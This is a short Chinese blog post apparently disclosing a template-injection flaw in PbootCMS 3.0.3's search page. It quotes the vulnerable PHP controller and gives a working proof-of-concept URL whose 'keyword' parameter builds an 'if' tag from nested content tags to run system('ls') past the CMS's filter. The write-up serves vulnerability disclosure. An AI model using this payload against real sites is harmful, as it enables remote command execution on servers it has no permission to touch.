挖出来好久了 但是跟字节ctf的线下撞了洞所以一直没往外发
也没啥好分析的 其实就是一个前台模板注入

    public function index()
    {
        $searchtpl = request('searchtpl');
        if (! preg_match('/^[\w]+\.html$/', $searchtpl)) {
            $searchtpl = 'search.html';
        }

        $content = parent::parser($this->htmldir . $searchtpl); // 框架标签解析
        $content = $this->parser->parserBefore($content); // CMS公共标签前置解析
        $pagetitle = get('keyword') ? get('keyword') . '-' : '';
        $content = str_replace('{pboot:pagetitle}', $this->config('search_title') ?: $pagetitle . '搜索结果-{pboot:sitetitle}-{pboot:sitesubtitle}', $content);
        $content = $this->parser->parserPositionLabel($content, 0, '搜索', Url::home('search')); // CMS当前位置标签解析
        $content = $this->parser->parserSpecialPageSortLabel($content, - 1, '搜索结果', Url::home('search')); // 解析分类标签
        $content = $this->parser->parserSearchLabel($content); // 搜索结果标签
        $content = $this->parser->parserAfter($content); // CMS公共标签后置解析
        echo $content; // 搜索页面不缓存
        exit();
    }

可以看到很明显的把content跟get参数的keyword拼一起了 绕过他的waf就行了 开发者自作聪明地以为把if标签替换掉就没事了 其实很好绕过
http://127.0.0.1/pbootcms3.0.3/?keyword={pboot:content%20id=1}{pboot:i{/pboot:content}{ pboot:content%20id=1}f((implode(1,[sys.tem]))(implode(1,[ls])))}PH{/pboot:content}{pboo t:content%20id=1}123{/pboot:{/pboot:content}{pboot:content%20id=1}if}{/pboot:conte nt}

用别的标签拼成if标签 然后用cms自带的白名单函数绕过waf就行了

分类: 技术

0 条评论

发表评论

电子邮件地址不会被公开。 必填项已用*标注